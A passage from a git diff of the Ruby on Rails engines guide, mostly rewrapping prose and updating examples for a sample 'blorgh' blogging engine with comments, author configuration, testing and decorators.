`test/dummy`. When you open `http://localhost:3000/blorgh/posts` you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions. +You can see what the engine has so far by running `rake db:migrate` at the root +of our engine to run the migration generated by the scaffold generator, and then +running `rails server` in `test/dummy`. When you open +`http://localhost:3000/blorgh/posts` you will see the default scaffold that has +been generated. Click around! You've just generated your first engine's first +functions. -If you'd rather play around in the console, `rails console` will also work just like a Rails application. Remember: the `Post` model is namespaced, so to reference it you must call it as `Blorgh::Post`. +If you'd rather play around in the console, `rails console` will also work just +like a Rails application. Remember: the `Post` model is namespaced, so to +reference it you must call it as `Blorgh::Post`. ```ruby >> Blorgh::Post.find(1) => #<Blorgh::Post id: 1 ...> ``` -One final thing is that the `posts` resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the `config/routes.rb` file inside the engine: +One final thing is that the `posts` resource for this engine should be the root +of the engine. Whenever someone goes to the root path where the engine is +mounted, they should be shown a list of posts. This can be made to happen if +this line is inserted into the `config/routes.rb` file inside the engine: ```ruby root to: "posts#index" ``` -Now people will only need to go to the root of the engine to see all the posts, rather than visiting `/posts`. This means that instead of `http://localhost:3000/blorgh/posts`, you only need to go to `http://localhost:3000/blorgh` now. +Now people will only need to go to the root of the engine to see all the posts, +rather than visiting `/posts`. This means that instead of +`http://localhost:3000/blorgh/posts`, you only need to go to +`http://localhost:3000/blorgh` now. -### Generating a comments resource +### Generating a Comments Resource -Now that the engine can create new blog posts, it only makes sense to add commenting functionality as well. To do this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones. +Now that the engine can create new blog posts, it only makes sense to add +commenting functionality as well. To do this, you'll need to generate a comment +model, a comment controller and then modify the posts scaffold to display +comments and allow people to create new ones. -Run the model generator and tell it to generate a `Comment` model, with the related table having two columns: a `post_id` integer and `text` text column. +From the application root, run the model generator. Tell it to generate a +`Comment` model, with the related table having two columns: a `post_id` integer +and `text` text column. ```bash $ rails generate model Comment post_id:integer text:text @@ -307,16 +465,26 @@ create test/models/blorgh/comment_test.rb create test/fixtures/blorgh/comments.yml ``` -This generator call will generate just the necessary model files it needs, namespacing the files under a `blorgh` directory and creating a model class called `Blorgh::Comment`. +This generator call will generate just the necessary model files it needs, +namespacing the files under a `blorgh` directory and creating a model class +called `Blorgh::Comment`. Now run the migration to create our blorgh_comments +table: + +```bash +$ rake db:migrate +``` -To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and add this line before the "Edit" link: +To show the comments on a post, edit `app/views/blorgh/posts/show.html.erb` and +add this line before the "Edit" link: ```html+erb <h3>Comments</h3> <%= render @post.comments %> ``` -This line will require there to be a `has_many` association for comments defined on the `Blorgh::Post` model, which there isn't right now. To define one, open `app/models/blorgh/post.rb` and add this line into the model: +This line will require there to be a `has_many` association for comments defined +on the `Blorgh::Post` model, which there isn't right now. To define one, open +`app/models/blorgh/post.rb` and add this line into the model: ```ruby has_many :comments @@ -332,28 +500,38 @@ module Blorgh end ``` -NOTE: Because the `has_many` is defined inside a class that is inside the `Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` model for these objects, so there's no need to specify that using the `:class_name` option here. +NOTE: Because the `has_many` is defined inside a class that is inside the +`Blorgh` module, Rails will know that you want to use the `Blorgh::Comment` +model for these objects, so there's no need to specify that using the +`:class_name` option here. -Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to `render @post.comments` in `app/views/blorgh/posts/show.html.erb`: +Next, there needs to be a form so that comments can be created on a post. To add +this, put this line underneath the call to `render @post.comments` in +`app/views/blorgh/posts/show.html.erb`: ```erb <%= render "blorgh/comments/form" %> ``` -Next, the partial that this line will render needs to exist. Create a new directory at `app/views/blorgh/comments` and in it a new file called `_form.html.erb` which has this content to create the required partial: +Next, the partial that this line will render needs to exist. Create a new +directory at `app/views/blorgh/comments` and in it a new file called +`_form.html.erb` which has this content to create the required partial: ```html+erb <h3>New comment</h3> <%= form_for [@post, @post.comments.build] do |f| %> <p> - <%= f.label :text %><br /> + <%= f.label :text %><br> <%= f.text_area :text %> </p> <%= f.submit %> <% end %> ``` -When this form is submitted, it is going to attempt to perform a `POST` request to a route of `/posts/:post_id/comments` within the engine. This route doesn't exist at the moment, but can be created by changing the `resources :posts` line inside `config/routes.rb` into these lines: +When this form is submitted, it is going to attempt to perform a `POST` request +to a route of `/posts/:post_id/comments` within the engine. This route doesn't +exist at the moment, but can be created by changing the `resources :posts` line +inside `config/routes.rb` into these lines: ```ruby resources :posts do @@ -363,7 +541,8 @@ end This creates a nested route for the comments, which is what the form requires. -The route now exists, but the controller that this route goes to does not. To create it, run this command: +The route now exists, but the controller that this route goes to does not. To +create it, run this command from the application root: ```bash $ rails g controller comments @@ -388,141 +567,227 @@ invoke css create app/assets/stylesheets/blorgh/comments.css ``` -The form will be making a `POST` request to `/posts/:post_id/comments`, which will correspond with the `create` action in `Blorgh::CommentsController`. This action needs to be created and can be done by putting the following lines inside the class definition in `app/controllers/blorgh/comments_controller.rb`: +The form will be making a `POST` request to `/posts/:post_id/comments`, which +will correspond with the `create` action in `Blorgh::CommentsController`. This +action needs to be created, which can be done by putting the following lines +inside the class definition in `app/controllers/blorgh/comments_controller.rb`: ```ruby def create @post = Post.find(params[:post_id]) - @comment = @post.comments.create(params[:comment]) + @comment = @post.comments.create(comment_params) flash[:notice] = "Comment has been created!" redirect_to posts_path end + +private + def comment_params + params.require(:comment).permit(:text) + end ``` -This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error: +This is the final step required to get the new comment form working. Displaying +the comments, however, is not quite right yet. If you were to create a comment +right now, you would see this error: -``` -Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in: - * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" - * "/Users/ryan/Sites/side_projects/blorgh/app/views" +``` +Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], +:formats=>[:html], :locale=>[:en, :en]}. Searched in: * +"/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views" * +"/Users/ryan/Sites/side_projects/blorgh/app/views" ``` -The engine is unable to find the partial required for rendering the comments. Rails looks first in the application's (`test/dummy`) `app/views` directory and then in the engine's `app/views` directory. When it can't find it, it will throw this error. The engine knows to look for `blorgh/comments/comment` because the model object it is receiving is from the `Blorgh::Comment` class. +The engine is unable to find the partial required for rendering the comments. +Rails looks first in the application's (`test/dummy`) `app/views` directory and +then in the engine's `app/views` directory. When it can't find it, it will throw +this error. The engine knows to look for `blorgh/comments/comment` because the +model object it is receiving is from the `Blorgh::Comment` class. -This partial will be responsible for rendering just the comment text, for now. Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this line inside it: +This partial will be responsible for rendering just the comment text, for now. +Create a new file at `app/views/blorgh/comments/_comment.html.erb` and put this +line inside it: ```erb <%= comment_counter + 1 %>. <%= comment.text %> ``` -The `comment_counter` local variable is given to us by the `<%= render @post.comments %>` call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created. +The `comment_counter` local variable is given to us by the `<%= render +@post.comments %>` call, which will define it automatically and increment the +counter as it iterates through each comment. It's used in this example to +display a small number next to each comment when it's created. -That completes the comment function of the blogging engine. Now it's time to use it within an application. +That completes the comment function of the blogging engine. Now it's time to use +it within an application. -Hooking into an application +Hooking Into an Application --------------------------- -Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required, as well as linking the engine to a `User` class provided by the application to provide ownership for posts and comments within the engine. +Using an engine within an application is very easy. This section covers how to +mount the engine into an application and the initial setup required, as well as +linking the engine to a `User` class provided by the application to provide +ownership for posts and comments within the engine. -### Mounting the engine +### Mounting the Engine -First, the engine needs to be specified inside the application's `Gemfile`. If there isn't an application handy to test this out in, generate one using the `rails new` command outside of the engine directory like this: +First, the engine needs to be specified inside the application's `Gemfile`. If +there isn't an application handy to test this out in, generate one using the +`rails new` command outside of the engine directory like this: ```bash $ rails new unicorn ``` -Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem. +Usually, specifying the engine inside the Gemfile would be done by specifying it +as a normal, everyday gem. ```ruby gem 'devise' ``` -However, because you are developing the `blorgh` engine on your local machine, you will need to specify the `:path` option in your `Gemfile`: +However, because you are developing the `blorgh` engine on your local machine, +you will need to specify the `:path` option in your `Gemfile`: ```ruby gem 'blorgh', path: "/path/to/blorgh" ``` -As described earlier, by placing the gem in the `Gemfile` it will be loaded when Rails is loaded, as it will first require `lib/blorgh.rb` in the engine and then `lib/blorgh/engine.rb`, which is the file that defines the major pieces of functionality for the engine. +Then run `bundle` to install the gem. + +As described earlier, by placing the gem in the `Gemfile` it will be loaded when +Rails is loaded. It will first require `lib/blorgh.rb` from the engine, then +`lib/blorgh/engine.rb`, which is the file that defines the major pieces of +functionality for the engine. -To make the engine's functionality accessible from within an application, it needs to be mounted in that application's `config/routes.rb` file: +To make the engine's functionality accessible from within an application, it +needs to be mounted in that application's `config/routes.rb` file: ```ruby mount Blorgh::Engine, at: "/blog" ``` -This line will mount the engine at `/blog` in the application. Making it accessible at `http://localhost:3000/blog` when the application runs with `rails server`. +This line will mount the engine at `/blog` in the application. Making it +accessible at `http://localhost:3000/blog` when the application runs with `rails +server`. -NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as `devise_for` in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable. +NOTE: Other engines, such as Devise, handle this a little differently by making +you specify custom helpers (such as `devise_for`) in the routes. These helpers +do exactly the same thing, mounting pieces of the engines's functionality at a +pre-defined path which may be customizable. ### Engine setup -The engine contains migrations for the `blorgh_posts` and `blorgh_comments` table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command: +The engine contains migrations for the `blorgh_posts` and `blorgh_comments` +table which need to be created in the application's database so that the +engine's models can query them correctly. To copy these migrations into the +application use this command: ```bash $ rake blorgh:install:migrations ``` -If you have multiple engines that need migrations copied over, use `railties:install:migrations` instead: +If you have multiple engines that need migrations copied over, use +`railties:install:migrations` instead: ```bash $ rake railties:install:migrations ``` -This command, when run for the first time, will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this: +This command, when run for the first time, will copy over all the migrations +from the engine. When run the next time, it will only copy over migrations that +haven't been copied over already. The first run for this command will output +something such as this: ```bash Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh ``` -The first timestamp (`[timestamp_1]`) will be the current time and the second timestamp (`[timestamp_2]`) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application. +The first timestamp (`[timestamp_1]`) will be the current time, and the second +timestamp (`[timestamp_2]`) will be the current time plus a second. The reason +for this is so that the migrations for the engine are run after any existing +migrations in the application. -To run these migrations within the context of the application, simply run `rake db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine. +To run these migrations within the context of the application, simply run `rake +db:migrate`. When accessing the engine through `http://localhost:3000/blog`, the +posts will be empty. This is because the table created inside the application is +different from the one created within the engine. Go ahead, play around with the +newly mounted engine. You'll find that it's the same as when it was only an +engine. -If you would like to run migrations only from one engine, you can do it by specifying `SCOPE`: +If you would like to run migrations only from one engine, you can do it by +specifying `SCOPE`: ```bash rake db:migrate SCOPE=blorgh ``` -This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code: +This may be useful if you want to revert engine's migrations before removing it. +To revert all migrations from blorgh engine you can run code such as: ```bash rake db:migrate SCOPE=blorgh VERSION=0 ``` -### Using a class provided by the application +### Using a Class Provided by the Application -#### Using a model provided by the application +#### Using a Model Provided by the Application -When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the `blorgh` engine, making posts and comments have authors would make a lot of sense. +When an engine is created, it may want to use specific classes from an +application to provide links between the pieces of the engine and the pieces of +the application. In the case of the `blorgh` engine, making posts and comments +have authors would make a lot of sense. -A typical application might have a `User` class that would be used to represent authors for a post or a comment. But there could be a case where the application calls this class something different, such as `Person`. For this reason, the engine should not hardcode associations specifically for a `User` class. +A typical application might have a `User` class that would be used to represent +authors for a post or a comment. But there could be a case where the application +calls this class something different, such as `Person`. For this reason, the +engine should not hardcode associations specifically for a `User` class. -To keep it simple in this case, the application will have a class called `User` which will represent the users of the application. It can be generated using this command inside the application: +To keep it simple in this case, the application will have a class called `User` +that represents the users of the application. It can be generated using this +command inside the application: ```bash rails g model user name:string ``` -The `rake db:migrate` command needs to be run here to ensure that our application has the `users` table for future use. +The `rake db:migrate` command needs to be run here to ensure that our +application has the `users` table for future use. -Also, to keep it simple, the posts form will have a new text field called `author_name` where users can elect to put their name. The engine will then take this name and create a new `User` object from it or find one that already has that name, and then associate the post with it. +Also, to keep it simple, the posts form will have a new text field called +`author_name`, where users can elect to put their name. The engine will then +take this name and either create a new `User` object from it, or find one that +already has that name. The engine will then associate the post with the found or +created `User` object. -First, the `author_name` text field needs to be added to the `app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be added above the `title` field with this code: +First, the `author_name` text field needs to be added to the +`app/views/blorgh/posts/_form.html.erb` partial inside the engine. This can be +added above the `title` field with this code: ```html+erb <div class="field"> - <%= f.label :author_name %><br /> + <%= f.label :author_name %><br> <%= f.text_field :author_name %> </div> ``` -The `Blorgh::Post` model should then have some code to convert the `author_name` field into an actual `User` object and associate it as that post's `author` before the post is saved. It will also need to have an `attr_accessor` setup for this field so that the setter and getter methods are defined for it. +Next, we need to update our `Blorgh::PostController#post_params` method to +permit the new form parameter: -To do all this, you'll need to add the `attr_accessor` for `author_name`, the association for the author and the `before_save` call into `app/models/blorgh/post.rb`. The `author` association will be hard-coded to the `User` class for the time being. +```ruby +def post_params + params.require(:post).permit(:title, :text, :author_name) +end +``` + +The `Blorgh::Post` model should then have some code to convert the `author_name` +field into an actual `User` object and associate it as that post's `author` +before the post is saved. It will also need to have an `attr_accessor` set up +for this field, so that the setter and getter methods are defined for it. + +To do all this, you'll need to add the `attr_accessor` for `author_name`, the +association for the author and the `before_save` call into +`app/models/blorgh/post.rb`. The `author` association will be hard-coded to the +`User` class for the time being. ```ruby attr_accessor :author_name @@ -536,7 +801,11 @@ private end ``` -By defining that the `author` association's object is represented by the `User` class a link is established between the engine and the application. There needs to be a way of associating the records in the `blorgh_posts` table with the records in the `users` table. Because the association is called `author`, there should be an `author_id` column added to the `blorgh_posts` table. +By representing the `author` association's object with the `User` class, a link +is established between the engine and the application. There needs to be a way +of associating the records in the `blorgh_posts` table with the records in the +`users` table. Because the association is called `author`, there should be an +`author_id` column added to the `blorgh_posts` table. To generate this new column, run this command within the engine: @@ -544,31 +813,41 @@ To generate this new column, run this command within the engine: $ rails g migration add_author_id_to_blorgh_posts author_id:integer ``` -NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. +NOTE: Due to the migration's name and the column specification after it, Rails +will automatically know that you want to add a column to a specific table and +write that into the migration for you. You don't need to tell it any more than +this. -This migration will need to be run on the application. To do that, it must first be copied using this command: +This migration will need to be run on the application. To do that, it must first +be copied using this command: ```bash $ rake blorgh:install:migrations ``` -Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. +Notice that only _one_ migration was copied over here. This is because the first +two migrations were copied over the first time this command was run. -``` -NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. -NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. -Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +``` +NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been +skipped. Migration with the same name already exists. NOTE Migration +[timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration +with the same name already exists. Copied migration +[timestamp]_add_author_id_to_blorgh_posts.rb from blorgh ``` -Run this migration using this command: +Run the migration using: ```bash $ rake db:migrate ``` -Now with all the pieces in place, an action will take place that will associate an author — represented by a record in the `users` table — with a post, represented by the `blorgh_posts` table from the engine. +Now with all the pieces in place, an action will take place that will associate +an author - represented by a record in the `users` table - with a post, +represented by the `blorgh_posts` table from the engine. -Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside `app/views/blorgh/posts/show.html.erb`: +Finally, the author's name should be displayed on the post's page. Add this code +above the "Title" output inside `app/views/blorgh/posts/show.html.erb`: ```html+erb <p> @@ -577,13 +856,15 @@ Finally, the author's name should be displayed on the post's page. Add this code </p> ``` -By outputting `@post.author` using the `<%=` tag, the `to_s` method will be called on the object. By default, this will look quite ugly: +By outputting `@post.author` using the `<%=` tag, the `to_s` method will be +called on the object. By default, this will look quite ugly: ``` #<User:0x00000100ccb3b0> ``` -This is undesirable and it would be much better to have the user's name there. To do this, add a `to_s` method to the `User` class within the application: +This is undesirable. It would be much better to have the user's name there. To +do this, add a `to_s` method to the `User` class within the application: ```ruby def to_s @@ -591,137 +872,232 @@ def to_s end ``` -Now instead of the ugly Ruby object output the author's name will be displayed. +Now instead of the ugly Ruby object output, the author's name will be displayed. -#### Using a controller provided by the application +#### Using a Controller Provided by the Application -Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from `ApplicationController`. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped `ApplicationController`. This namespace prevents code collisions, but often engine controllers should access methods in the main application's `ApplicationController`. An easy way to provide this access is to change the engine's scoped `ApplicationController` to inherit from the main application's `ApplicationController`. For our Blorgh engine this would be done by changing `app/controllers/blorgh/application_controller.rb` to look like: +Because Rails controllers generally share code for things like authentication +and accessing session variables, they inherit from `ApplicationController` by +default. Rails engines, however are scoped to run independently from the main +application, so each engine gets a scoped `ApplicationController`. This +namespace prevents code collisions, but often engine controllers need to access +methods in the main application's `ApplicationController`. An easy way to +provide this access is to change the engine's scoped `ApplicationController` to +inherit from the main application's `ApplicationController`. For our Blorgh +engine this would be done by changing +`app/controllers/blorgh/application_controller.rb` to look like: ```ruby class Blorgh::ApplicationController < ApplicationController end ``` -By default, the engine's controllers inherit from `Blorgh::ApplicationController`. So, after making this change they will have access to the main applications `ApplicationController` as though they were part of the main application. +By default, the engine's controllers inherit from +`Blorgh::ApplicationController`. So, after making this change they will have +access to the main application's `ApplicationController`, as though they were +part of the main application. -This change does require that the engine is run from a Rails application that has an `ApplicationController`. +This change does require that the engine is run from a Rails application that +has an `ApplicationController`. -### Configuring an engine +### Configuring an Engine -This section covers how to make the `User` class configurable, followed by general configuration tips for the engine. +This section covers how to make the `User` class configurable, followed by +general configuration tips for the engine. -#### Setting configuration settings in the application +#### Setting Configuration Settings in the Application -The next step is to make the class that represents a `User` in the application customizable for the engine. This is because, as explained before, that class may not always be `User`. To make this customizable, the engine will have a configuration setting called `user_class` that will be used to specify what the class representing users is inside the application. +The next step is to make the class that represents a `User` in the application +customizable for the engine. This is because that class may not always be +`User`, as previously explained. To make this setting customizable, the engine +will have a configuration setting called `author_class` that will be used to +specify which class represents users inside the application. -To define this configuration setting, you should use a `mattr_accessor` inside the `Blorgh` module for the engine, located at `lib/blorgh.rb` inside the engine. Inside this module, put this line: +To define this configuration setting, you should use a `mattr_accessor` inside +the `Blorgh` module for the engine. Add this line to `lib/blorgh.rb` inside the +engine: ```ruby -mattr_accessor :user_class +mattr_accessor :author_class ``` -This method works like its brothers `attr_accessor` and `cattr_accessor`, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using `Blorgh.user_class`. +This method works like its brothers, `attr_accessor` and `cattr_accessor`, but +provides a setter and getter method on the module with the specified name. To +use it, it must be referenced using `Blorgh.author_class`. -The next step is switching the `Blorgh::Post` model over to this new setting. For the `belongs_to` association inside this model (`app/models/blorgh/post.rb`), it will now become this: +The next step is to switch the `Blorgh::Post` model over to this new setting. +Change the `belongs_to` association inside this model +(`app/models/blorgh/post.rb`) to this: ```ruby -belongs_to :author, class_name: Blorgh.user_class +belongs_to :author, class_name: Blorgh.author_class ``` -The `set_author` method also located in this class should also use this class: +The `set_author` method in the `Blorgh::Post` model should also use this class: ```ruby -self.author = Blorgh.user_class.constantize.find_or_create_by(name: author_name) +self.author = Blorgh.author_class.constantize.find_or_create_by(name: author_name) ``` -To save having to call `constantize` on the `user_class` result all the time, you could instead just override the `user_class` getter method inside the `Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the saved value before returning the result: +To save having to call `constantize` on the `author_class` result all the time, +you could instead just override the `author_class` getter method inside the +`Blorgh` module in the `lib/blorgh.rb` file to always call `constantize` on the +saved value before returning the result: ```ruby -def self.user_class - @@user_class.constantize +def self.author_class + @@author_class.constantize end ``` This would then turn the above code for `set_author` into this: ```ruby -self.author = Blorgh.user_class.find_or_create_by(name: author_name) +self.author = Blorgh.author_class.find_or_create_by(name: author_name) ``` -Resulting in something a little shorter, and more implicit in its behavior. The `user_class` method should always return a `Class` object. +Resulting in something a little shorter, and more implicit in its behavior. The +`author_class` method should always return a `Class` object. -Since we changed the `user_class` method to no longer return a -`String` but a `Class` we must also modify our `belongs_to` definition -in the `Blorgh::Post` model: +Since we changed the `author_class` method to return a `Class` instead of a +`String`, we must also modify our `belongs_to` definition in the `Blorgh::Post` +model: ```ruby -belongs_to :author, class_name: Blorgh.user_class.to_s +belongs_to :author, class_name: Blorgh.author_class.to_s ``` -To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing. +To set this configuration setting within the application, an initializer should +be used. By using an initializer, the configuration will be set up before the +application starts and calls the engine's models, which may depend on this +configuration setting existing. -Create a new initializer at `config/initializers/blorgh.rb` inside the application where the `blorgh` engine is installed and put this content in it: +Create a new initializer at `config/initializers/blorgh.rb` inside the +application where the `blorgh` engine is installed and put this content in it: ```ruby -Blorgh.user_class = "User" +Blorgh.author_class = "User" ``` -WARNING: It's very important here to use the `String` version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a `String` should be used and then converted to a class using `constantize` in the engine later on. +WARNING: It's very important here to use the `String` version of the class, +rather than the class itself. If you were to use the class, Rails would attempt +to load that class and then reference the related table. This could lead to +problems if the table wasn't already existing. Therefore, a `String` should be +used and then converted to a class using `constantize` in the engine later on. -Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in `config/initializers/blorgh.rb` to learn what the class is. +Go ahead and try to create a new post. You will see that it works exactly in the +same way as before, except this time the engine is using the configuration +setting in `config/initializers/blorgh.rb` to learn what the class is. -There are now no strict dependencies on what the class is, only what the API for the class must be. The engine simply requires this class to define a `find_or_create_by` method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced. +There are now no strict dependencies on what the class is, only what the API for +the class must be. The engine simply requires this class to define a +`find_or_create_by` method which returns an object of that class, to be +associated with a post when it's created. This object, of course, should have +some sort of identifier by which it can be referenced. -#### General engine configuration +#### General Engine Configuration -Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines! +Within an engine, there may come a time where you wish to use things such as +initializers, internationalization or other configuration options. The great +news is that these things are entirely possible, because a Rails engine shares +much the same functionality as a Rails application. In fact, a Rails +application's functionality is actually a superset of what is provided by +engines! -If you wish to use an initializer — code that should run before the engine is -loaded — the place for it is the `config/initializers` folder. This directory's -functionality is explained in the -[Initializers section](configuring.html#initializers) of the Configuring guide, -and works precisely the same way as the `config/initializers` directory inside -an application. Same goes for if you want to use a standard initializer. +If you wish to use an initializer - code that should run before the engine is +loaded - the place for it is the `config/initializers` folder. This directory's +functionality is explained in the [Initializers +section](configuring.html#initializers) of the Configuring guide, and works +precisely the same way as the `config/initializers` directory inside an +application. The same thing goes if you want to use a standard initializer. -For locales, simply place the locale files in the `config/locales` directory, just like you would in an application. +For locales, simply place the locale files in the `config/locales` directory, +just like you would in an application. Testing an engine ----------------- -When an engine is generated there is a smaller dummy application created inside it at `test/dummy`. This application is used as a mounting point for the engine to make testing the engine extremely simple. You may extend this application by generating controllers, models or views from within the directory, and then use those to test your engine. +When an engine is generated, there is a smaller dummy application created inside +it at `test/dummy`. This application is used as a mounting point for the engine, +to make testing the engine extremely simple. You may extend this application by +generating controllers, models or views from within the directory, and then use +those to test your engine. -The `test` directory should be treated like a typical Rails testing environment, allowing for unit, functional and integration tests. +The `test` directory should be treated like a typical Rails testing environment, +allowing for unit, functional and integration tests. -### Functional tests +### Functional Tests -A matter worth taking into consideration when writing functional tests is that the tests are going to be running on an application — the `test/dummy` application — rather than your engine. This is due to the setup of the testing environment; an engine needs an application as a host for testing its main functionality, especially controllers. This means that if you were to make a typical `GET` to a controller in a controller's functional test like this: +A matter worth taking into consideration when writing functional tests is that +the tests are going to be running on an application - the `test/dummy` +application - rather than your engine. This is due to the setup of the testing +environment; an engine needs an application as a host for testing its main +functionality, especially controllers. This means that if you were to make a +typical `GET` to a controller in a controller's functional test like this: ```ruby get :index ``` -It may not function correctly. This is because the application doesn't know how to route these requests to the engine unless you explicitly tell it **how**. To do this, you must pass the `:use_route` option (as a parameter) on these requests also: +It may not function correctly. This is because the application doesn't know how +to route these requests to the engine unless you explicitly tell it **how**. To +do this, you must also pass the `:use_route` option as a parameter on these +requests: ```ruby get :index, use_route: :blorgh ``` -This tells the application that you still want to perform a `GET` request to the `index` action of this controller, just that you want to use the engine's route to get there, rather than the application. +This tells the application that you still want to perform a `GET` request to the +`index` action of this controller, but you want to use the engine's route to get +there, rather than the application's one. Improving engine functionality ------------------------------ -This section explains how to add and/or override engine MVC functionality in the main Rails application. +This section explains how to add and/or override engine MVC functionality in the +main Rails application. ### Overriding Models and Controllers -Engine model and controller classes can be extended by open classing them in the main Rails application (since model and controller classes are just Ruby classes that inherit Rails specific functionality). Open classing an Engine class redefines it for use in the main application. This is usually implemented by using the decorator pattern. +Engine model and controller classes can be extended by open classing them in the +main Rails application (since model and controller classes are just Ruby classes +that inherit Rails specific functionality). Open classing an Engine class +redefines it for use in the main application. This is usually implemented by +using the decorator pattern. + +For simple class modifications, use `Class#class_eval`. For complex class +modifications, consider using `ActiveSupport::Concern`. + +#### A note on Decorators and Loading Code + +Because these decorators are not referenced by your Rails application itself, +Rails' autoloading system will not kick in and load your decorators. This means +that you need to require them yourself. -For simple class modifications use `Class#class_eval`, and for complex class modifications, consider using `ActiveSupport::Concern`. +Here is some sample code to do this: + +```ruby +# lib/blorgh/engine.rb +module Blorgh + class Engine < ::Rails::Engine + isolate_namespace Blorgh + + config.to_prepare do + Dir.glob(Rails.root + "app/decorators/**/*_decorator*.rb").each do |c| + require_dependency(c) + end + end + end +end +``` + +This doesn't apply to just Decorators, but anything that you add in an engine +that isn't referenced by your main application. #### Implementing Decorator Pattern Using Class#class_eval -**Adding** `Post#time_since_created`, +**Adding** `Post#time_since_created`: ```ruby # MyApp/app/decorators/models/blorgh/post_decorator.rb @@ -742,7 +1118,7 @@ end ``` -**Overriding** `Post#summary` +**Overriding** `Post#summary`: ```ruby # MyApp/app/decorators/models/blorgh/post_decorator.rb @@ -767,9 +1143,13 @@ end #### Implementing Decorator Pattern Using ActiveSupport::Concern -Using `Class#class_eval` is great for simple adjustments, but for more complex class modifications, you might want to consider using [`ActiveSupport::Concern`](http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). ActiveSupport::Concern manages load order of interlinked dependent modules and classes at run time allowing you to significantly modularize your code. +Using `Class#class_eval` is great for simple adjustments, but for more complex +class modifications, you might want to consider using [`ActiveSupport::Concern`] +(http://edgeapi.rubyonrails.org/classes/ActiveSupport/Concern.html). +ActiveSupport::Concern manages load order of interlinked dependent modules and +classes at run time allowing you to significantly modularize your code. -**Adding** `Post#time_since_created` and **Overriding** `Post#summary` +**Adding** `Post#time_since_created` and **Overriding** `Post#summary`: ```ruby # MyApp/app/models/blorgh/post.rb @@ -802,7 +1182,7 @@ module Blorgh::Concerns::Models::Post extend ActiveSupport::Concern # 'included do' causes the included code to be evaluated in the - # context where it is included (post.rb), rather than be + # context where it is included (post.rb), rather than being # executed in the module's context (blorgh/concerns/models/post). included do attr_accessor :author_name @@ -811,7 +1191,6 @@ module Blorgh::Concerns::Models::Post before_save :set_author private - def set_author self.author = User.find_or_create_by(name: author_name) end @@ -829,15 +1208,23 @@ module Blorgh::Concerns::Models::Post end ``` -### Overriding views +### Overriding Views -When Rails looks for a view to render, it will first look in the `app/views` directory of the application. If it cannot find the view there, then it will check in the `app/views` directories of all engines which have this directory. +When Rails looks for a view to render, it will first look in the `app/views` +directory of the application. If it cannot find the view there, it will check in +the `app/views` directories of all engines that have this directory. -In the `blorgh` engine, there is a currently a file at `app/views/blorgh/posts/index.html.erb`. When the engine is asked to render the view for `Blorgh::PostsController`'s `index` action, it will first see if it can find it at `app/views/blorgh/posts/index.html.erb` within the application and then if it cannot it will look inside the engine. +When the application is asked to render the view for `Blorgh::PostsController`'s +index action, it will first look for the path +`app/views/blorgh/posts/index.html.erb` within the application. If it cannot +find it, it will look inside the engine. -You can override this view in the application by simply creating a new file at `app/views/blorgh/posts/index.html.erb`. Then you can completely change what this view would normally output. +You can override this view in the application by simply creating a new file at +`app/views/blorgh/posts/index.html.erb`. Then you can completely change what +this view would normally output. -Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` and put this content in it: +Try this now by creating a new file at `app/views/blorgh/posts/index.html.erb` +and put this 